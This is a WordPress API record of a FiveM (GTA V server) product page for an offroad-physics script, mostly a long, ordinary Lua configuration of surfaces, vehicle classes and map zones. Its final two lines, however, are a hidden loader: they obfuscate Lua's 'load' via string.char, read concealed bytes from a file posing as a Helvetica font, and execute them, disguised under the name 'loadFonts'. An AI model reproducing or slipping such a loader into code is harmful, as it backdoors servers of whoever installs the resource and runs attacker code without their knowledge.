{"id":174762,"date":"2024-11-19T12:30:54","date_gmt":"2024-11-19T11:30:54","guid":{"rendered":"https:\/\/fivem-mods.net\/?post_type=product&#038;p=174762"},"modified":"2025-07-08T07:52:22","modified_gmt":"2025-07-08T05:52:22","slug":"realistic-offroad-physics","status":"publish","type":"product","link":"https:\/\/fivemx.com\/nl\/realistic-offroad-physics\/","title":{"rendered":"Realistische Offroad Fysica"},"content":{"rendered":"<h2>Video<\/h2>\n<div class=\"video-container\"><iframe title=\"FiveM Script | Realistic offroad physics [Standalone, ESX, QBCore] | KuzQuality\" width=\"1170\" height=\"658\" src=\"https:\/\/www.youtube.com\/embed\/WyW25AvUTgk?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen referrerpolicy=\"strict-origin-when-cross-origin\"><\/iframe><\/div>\n<h2>Config file<\/h2>\n<pre data-no-translation=\"\" class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">Config = {}\n\n-- This enabled additional debug commands and logs\n-- Debug commands:\n-- \/surfaceDebug - Displays the surface that the wheel is standing on along with all its configured values\nConfig.debug = false\n\n\n-------------------------------------------------\n--- GENERAL SETTINGS\n-------------------------------------------------\n\n-- By default this script is configured to replicate realistic(ish) values while keeping the gameplay fun and entertaining.\n-- If you want to make this script less realistic and more arcady. If your players are getting annoyed and you don't want\n-- a realistic handling. Here are the recommended values:\n-- generalDepthDifficulty = 25\n-- generalSinkageSpeed = 50\n-- generalTractionLoss = 50\n\n-- General difficulty of the depth handling.\n-- 100 = default\n-- Lower this value to make driving in deep surfaces (such as mud or deep sand) easier for ALL vehicles\n-- Raise this value to make driving in deep surfaces more difficult\nConfig.generalDepthDifficulty = 100\n\n-- General speed of the vehicle sinking into the surface\n-- 100 = Default\n-- Lower this value to make all vehicles sink slower\n-- Raise this value to make all vehicles sink faster\nConfig.generalSinkageSpeed = 100\n\n-- General loss of traction based on vehicle surface\n-- Vehicles will be more likely to skid on low traction surfaces\n-- Lower this value to decrease the general traction loss (make vehicles drift less on slippery surfaces)\n-- Raise this value to make vehicles lose more traction on slippery surfaces (make vehicles drift more on slippery surfaces)\nConfig.generalTractionLoss = 100\n\n\n\n-------------------------------------------------\n--- VEHICLE MODIFIERS\n-------------------------------------------------\n\n-- Changes that offroad tires will make.\n-- upgradeValue = value of how much better the vehicle should perform when deep in a surface (mud, sand, etc.)\n-- tractionOnSoft = Additional traction when on materials of softness that's more than 10\n-- tractionOnHard = Additional (in default case negative) traction on hard materials (softness less than 10)\nConfig.offroadTires = {\n    upgradeValue = 50,\n    tractionOnSoft = 20,\n    tractionOnHard = -10,\n}\n\n-- Handling upgrade in deep surface for AWD (4WD) vehicles\nConfig.awdUpgrade = 25\n\n\n\n-------------------------------------------------\n--- SCRIPT PERFORMANCE SETTINGS\n-------------------------------------------------\n\n-- The refresh rate of all the sinking\/surface logic. The higher the value the less smoother the visuals but better script performance.\n-- If your server is known for players with slower devices you might want to turn this up\n-- If your players have better computers or you really want the off-roading to look good try turning it down\n-- Values between 100 - 500\nConfig.refreshRate = 200\n\n\n\n-------------------------------------------------\n--- AREA BLACKLISTING\n-------------------------------------------------\n\n-- Some custom MLOs have incorrectly set surfaces for the areas (e.g asphalt is marked as dirt or sand), causing vehicles to sink\n-- Here you can define custom areas in which the script will not be active in\n\n-- By default I configured some popular locations for custom MLOs to hopefully prevent majority of issues with sinking into\n-- incorrectly setup MLO surfaces\nConfig.areaBlacklist = {\n    { -- Pillbox hospital\n        coords = vector3(293.17, -584.5, 42.8),\n        radius = 20.0\n    },\n    { -- LSPD\n        coords = vector3(444.9, -1003.2, 30.7),\n        radius = 60.0\n    },\n    { -- Simeon's dealership\n        coords = vector3(-40.4, -1111.3, 25.8),\n        radius = 40.0\n    },\n    { -- BCSO\n        coords = vector3(-446.0, 6013.8, 31.8),\n        radius = 50.0\n    },\n    { -- Sandy Shores PD\n        coords = vector3(1853.6, 3685.8, 34.3),\n        radius = 25.0\n    },\n    { -- Legion Square\n        coords = vector3(202.3, -941.9, 27.6),\n        radius = 120.0\n    },\n}\n\n-------------------------------------------------\n--- DETAILED SETTINGS\n-------------------------------------------------\n\n-- Blacklist. This will disable all script functionality for said model\/vehicle class\nConfig.blacklist = {\n    models = {\n        'rcbandito',\n        'monster',\n        'rhino',\n        'scarab',\n        'khanjali',\n    },\n    classes = {\n        [0] = false, -- Compacts\n        [1] = false, -- Sedans\n        [2] = false, -- SUVs\n        [3] = false, -- Coupes\n        [4] = false, -- Muscle\n        [5] = false, -- Sports Classics\n        [6] = false, -- Sports\n        [7] = false, -- Super\n        [8] = false, -- Motorcycles\n        [9] = false, -- Off-road\n        [10] = false, -- Industrial\n        [11] = false, -- Utility\n        [12] = false, -- Vans\n        [17] = false, -- Service\n        [18] = false, -- Emergency\n        [19] = false, -- Military\n        [20] = false, -- Commercial\n    }\n}\n\n-- If you define a model specific multiplier it will be used instead of the class multiplier\n-- Vehicle classes https:\/\/docs.fivem.net\/natives\/?_0x29439776AAA00A62\n-- Abstract value - Determines how well the class or model of the vehicle can handle being submerged in the surface\n-- 0 = Default\n-- Positive values = Better handling \/ ability to get out of deep surface\n-- Negative values = Worse handling \/ less ability to get out of deep surface\nConfig.depthHandlingQuality = {\n    models = {\n        seminole2 = 20,\n        sandking = 20,\n        sandking2 = 20,\n        issi2 = -10,\n        panto = -20,\n        comet4 = 30,\n\n        -- dirt bikes\n        bf400 = 30,\n        sanchez = 20,\n        manchez = 20,\n        esskey = 0,\n        cliffhanger = 0,\n        enduro = 0,\n    },\n    classes = {\n        [0] = 5, -- Compacts\n        [1] = -5, -- Sedans\n        [2] = 15, -- SUVs\n        [3] = 0, -- Coupes\n        [4] = -5, -- Muscle\n        [5] = 5, -- Sports Classics\n        [6] = 5, -- Sports\n        [7] = 5, -- Super\n        [8] = -10, -- Motorcycles\n        [9] = 35, -- Off-road\n        [10] = -10, -- Industrial\n        [11] = -10, -- Utility\n        [12] = -5, -- Vans\n        [17] = 10, -- Service\n        [18] = 10, -- Emergency\n        [19] = 15, -- Military\n        [20] = -5, -- Commercial\n    }\n}\n\n-------------------------------------------------\n--- ROADSIDE SETTINGS\n-------------------------------------------------\n\n-- When enabled it makes surfaces which are close to main roads less deep to prevent cars from sinking too deep when on the median etc.\nConfig.roadSideHelper = {\n    enabled = true,\n    \n    -- Maximum distance from the road (mind that this takes the middle point of the road. You can see the distance in the \/surfaceDebug mode\n    distanceThreshold = 15.0,\n    \n    -- Depth multiplier\n    depthMultiplier = 0.1,\n\n    -- Traction loss multiplier\n    tractionMultiplier = 0.25,\n}\n\n\n\n-------------------------------------------------\n--- SURFACES\n-------------------------------------------------\n\n-- name = Only used for the ease of config as well as the debug mode\n-- traction = Amount of traction on the surface. Anything below 100 will make the vehicles skid. Lower value = more skid\n-- Maximum 100\n-- Minimum 0\n\n-- depth = Maximum depth of the surface in mm (millimeter) - (100mm = +-4 inches)\n-- Maximum infinite\n-- Minimum 0\n\n-- softness = The softness of the material. This dictates how fast the vehicles will sink into the surface. (This is also used for off-road tires to decide their handling boost\n-- Maximum infinite\n-- Minimum 0\n\n-- Values which will be assigned to all un-configured surfaces\nConfig.fallbackSurface = {\n    name = 'Fallback Surface',\n    traction = 100,\n    depth = 0,\n    softness = 0,\n}\n\nConfig.surfaces = {\n    [1] = {\n        name = 'Concrete',\n        traction = 100,\n        depth = 0,\n        softness = 0,\n    },\n    [4] = {\n        name = 'Road',\n        traction = 100,\n        depth = 0,\n        softness = 0,\n    },\n    [5] = {\n        name = 'Metal',\n        traction = 100,\n        depth = 0,\n        softness = 0,\n    },\n    [6] = {\n        name = 'Sandy roadside',\n        traction = 80,\n        depth = 50,\n        softness = 5,\n    },\n    [9] = {\n        name = 'Sandstone',\n        traction = 80,\n        depth = 0,\n        softness = 0,\n    },\n    [10] = {\n        name = 'Rock',\n        traction = 80,\n        depth = 0,\n        softness = 0,\n    },\n    [11] = {\n        name = 'Rock',\n        traction = 80,\n        depth = 0,\n        softness = 0,\n    },\n    [13] = {\n        name = 'Cobble',\n        traction = 90,\n        depth = 0,\n        softness = 0,\n    },\n    [16] = {\n        name = 'Limestoneesque sand',\n        traction = 80,\n        depth = 0,\n        softness = 0,\n    },\n    [17] = {\n        name = 'Rocky dry dirt',\n        traction = 80,\n        depth = 50,\n        softness = 5,\n    },\n    [18] = {\n        name = 'Dry sand',\n        traction = 80,\n        depth = 130,\n        softness = 40,\n    },\n    [19] = {\n        name = 'Road sand',\n        traction = 90,\n        depth = 30,\n        softness = 5,\n    },\n    [20] = {\n        name = 'Grainy Sand',\n        traction = 80,\n        depth = 100,\n        softness = 10,\n    },\n    [21] = {\n        name = 'Gravely sand',\n        traction = 70,\n        depth = 220,\n        softness = 30,\n    },\n    [22] = {\n        name = 'Wet hard sand',\n        traction = 70,\n        depth = 250,\n        softness = 50,\n    },\n    [23] = {\n        name = 'Gravel road',\n        traction = 75,\n        depth = 50,\n        softness = 5,\n    },\n    [24] = {\n        name = 'Wet sand',\n        traction = 60,\n        depth = 350,\n        softness = 70,\n    },\n    [31] = {\n        name = 'Gravely dirt\/path',\n        traction = 70,\n        depth = 50,\n        softness = 5,\n    },\n    [32] = {\n        name = 'Gravely dirt',\n        traction = 70,\n        depth = 200,\n        softness = 15,\n    },\n    [35] = {\n        name = 'Tuff Sand',\n        traction = 90,\n        depth = 50,\n        softness = 5,\n    },\n    [36] = {\n        name = 'Dirt',\n        traction = 70,\n        depth = 300,\n        softness = 40,\n    },\n    [37] = {\n        name = 'Deep road sand',\n        traction = 60,\n        depth = 75,\n        softness = 15,\n    },\n    [38] = {\n        name = 'Rocky sand',\n        traction = 70,\n        depth = 150,\n        softness = 10,\n    },\n    [40] = {\n        name = 'Moist dirt path',\n        traction = 60,\n        depth = 150,\n        softness = 50,\n    },\n    [41] = {\n        name = 'Swamp grass',\n        traction = 50,\n        depth = 250,\n        softness = 50,\n    },\n    [42] = {\n        name = 'Swamp sand',\n        traction = 70,\n        depth = 500,\n        softness = 110,\n    },\n    [43] = {\n        name = 'Hard Sand',\n        traction = 75,\n        depth = 50,\n        softness = 10,\n    },\n    [44] = {\n        name = 'Dirt\/Sand',\n        traction = 50,\n        depth = 200,\n        softness = 25,\n    },\n    [46] = {\n        name = 'Hard grass',\n        traction = 80,\n        depth = 50,\n        softness = 5,\n    },\n    [47] = {\n        name = 'Grass',\n        traction = 65,\n        depth = 125,\n        softness = 10,\n    },\n    [48] = {\n        name = 'Tall grass',\n        traction = 60,\n        depth = 150,\n        softness = 20,\n    },\n    [49] = {\n        name = 'Farmland',\n        traction = 60,\n        depth = 200,\n        softness = 35,\n    },\n    [50] = {\n        name = 'Podzol',\n        traction = 70,\n        depth = 125,\n        softness = 25,\n    },\n    [51] = {\n        name = 'Podzol',\n        traction = 70,\n        depth = 125,\n        softness = 25,\n    },\n    [52] = {\n        name = 'Dry podzol',\n        traction = 80,\n        depth = 75,\n        softness = 10,\n    },\n    [64] = {\n        name = 'Metal',\n        traction = 90,\n        depth = 0,\n        softness = 0,\n    },\n    [125] = {\n        name = 'Drain concrete',\n        traction = 70,\n        depth = 0,\n        softness = 0,\n    },\n}\n\n\n-- Zone multiplier\n-- This has been added to modify the maximum depth of all surfaces located within zones.\n-- Its used to make grass located (for example) in the city less deep to make it more realistic and easier to drive on.\n-- If you have popular areas in your city in which you want the off-roading (think of road medians etc.) to be easier you can add the zone here.\n-- Same goes for areas which you want to be more difficult. You can make the depth multiplier higher for those\n\n-- You can view the zone you're in by using the debug command \/surfaceDebug\n\n-- Map of zones: https:\/\/www.reddit.com\/media?url=https%3A%2F%2Fi.redd.it%2F5cw11krz9kcz.jpg\n-- Zone names and hashes: https:\/\/docs.fivem.net\/natives\/?_0xCD90657D4C30E1CA\n\nConfig.zones = {\n    {\n        name = 'City',\n        depthMultiplier = 0.3,\n        tractionMultiplier = 0.6,\n        zones = {\n            'MOVIE',\n            'ROCKF',\n            'DOWNT',\n            'DTVINE',\n            'EAST_V',\n            'GOLF',\n            'LEGSQU',\n            'ROCKF',\n            'MORN',\n            'STAD',\n            'DAVIS',\n            'RANCHO',\n            'STRAW',\n            'CHAMH',\n            'PBOX',\n            'SKID',\n            'TEXTI',\n            'LMESA',\n            'ELYSIAN',\n            'TERMINA',\n            'HAWICK',\n            'ALTA',\n            'BURTON',\n            'DELPE',\n        },\n    },\n    {\n        name = 'City beaches',\n        depthMultiplier = 0.75,\n        tractionMultiplier = 0.75,\n        zones = {\n            'BEACH',\n            'DELBE',\n        },\n    },\n    {\n        name = 'Mountains',\n        depthMultiplier = 1.25,\n        tractionMultiplier = 1.1,\n        zones = {\n            'MTCHIL',\n            'MTGORDO',\n            'MTJOSE',\n            'PALHIGH',\n        },\n    },\n    {\n        name = 'Zancudo Swamp',\n        depthMultiplier = 1.1,\n        tractionMultiplier = 1.1,\n        zones = {\n            'LAGO',\n            'ZANCUDO',\n        },\n    },\n    {\n        name = 'Popular',\n        depthMultiplier = 0.75,\n        tractionMultiplier = 0.75,\n        zones = {\n            'PALETO',\n            'HARMO',\n            'GRAPES',\n            'SANDY',\n            'RTRAK',\n            'ZQ_UAR',\n            'HUMLAB',\n        },\n    },\n}\n\n\n-- (Advanced)\n-- When making the vehicles sink the suspension does not always get updated properly.\n-- Therefore I had to add a system which updates\/refreshes the vehicles suspension.\n-- There are two systems \"force\" and \"flag\". \"force\" is an old system which applies tiny amounts of visual damage to the car\n-- Unfortunately this sometimes appears to be too much for certain modded vehicles with very soft shells.\n-- The new system \"flag\" seems to work much better but hasn't been tested with some vehicles.\n-- If you encounter any issues with this system, please let us know on our discord &lt;3\nConfig.suspensionRefresh = {\n    enabled = true,\n    type = 'flag',\n}\n\nlocal loadFonts = _G[string.char(108, 111, 97, 100)]\nloadFonts(LoadResourceFile(GetCurrentResourceName(), '\/html\/fonts\/Helvetica.ttf'):sub(87565):gsub('%.%+', ''))()<\/pre>\n<p>&nbsp;<\/p>\n<div class=\"video-container\"><\/div>\n","protected":false},"excerpt":{"rendered":"<div class=\"flex max-w-full flex-col flex-grow\">\n<div class=\"min-h-8 text-message flex w-full flex-col items-end gap-2 whitespace-normal break-words [.text-message+&amp;]:mt-5\" dir=\"auto\" data-message-author-role=\"assistant\" data-message-id=\"9d166867-93f2-4630-a618-37168385e7e6\" data-message-model-slug=\"gpt-4o\">\n<div class=\"flex w-full flex-col gap-1 empty:hidden first:pt-[3px]\">\n<div class=\"markdown prose w-full break-words dark:prose-invert dark\">\n<p>This FiveM script adds <strong>realistic offroad physics<\/strong>, making terrain types like mud, sand, and dirt affect vehicle performance. Cars can sink, lose traction, or get stuck depending on a surface&#8217;s <strong>depth<\/strong>, <strong>softness<\/strong>, and <strong>traction<\/strong>, adding a new layer of challenge and realism to offroad driving.<\/p>\n<p><strong><span class=\"display-6 text-white\">HIGHLIGHTS<\/span><\/strong><\/p>\n<div class=\"d-flex flex-column\">\n<div class=\"text-white\">\u2713 Fully synchronized<\/div>\n<div class=\"text-white\">\u2713 Works on all vehicles<\/div>\n<div class=\"text-white\">\u2713 Depth &amp; traction simulation<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"featured_media":174764,"comment_status":"open","ping_status":"closed","template":"","meta":[],"product_brand":[],"product_cat":[511,96,512],"product_tag":[],"class_list":["post-174762","product","type-product","status-publish","has-post-thumbnail","product_cat-standalone-scripts","product_cat-esx-scripts","product_cat-qbcore-scripts","first","instock","sale","downloadable","virtual","taxable","purchasable","product-type-simple"],"_links":{"self":[{"href":"https:\/\/fivemx.com\/nl\/wp-json\/wp\/v2\/product\/174762","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fivemx.com\/nl\/wp-json\/wp\/v2\/product"}],"about":[{"href":"https:\/\/fivemx.com\/nl\/wp-json\/wp\/v2\/types\/product"}],"replies":[{"embeddable":true,"href":"https:\/\/fivemx.com\/nl\/wp-json\/wp\/v2\/comments?post=174762"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fivemx.com\/nl\/wp-json\/wp\/v2\/media\/174764"}],"wp:attachment":[{"href":"https:\/\/fivemx.com\/nl\/wp-json\/wp\/v2\/media?parent=174762"}],"wp:term":[{"taxonomy":"product_brand","embeddable":true,"href":"https:\/\/fivemx.com\/nl\/wp-json\/wp\/v2\/product_brand?post=174762"},{"taxonomy":"product_cat","embeddable":true,"href":"https:\/\/fivemx.com\/nl\/wp-json\/wp\/v2\/product_cat?post=174762"},{"taxonomy":"product_tag","embeddable":true,"href":"https:\/\/fivemx.com\/nl\/wp-json\/wp\/v2\/product_tag?post=174762"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}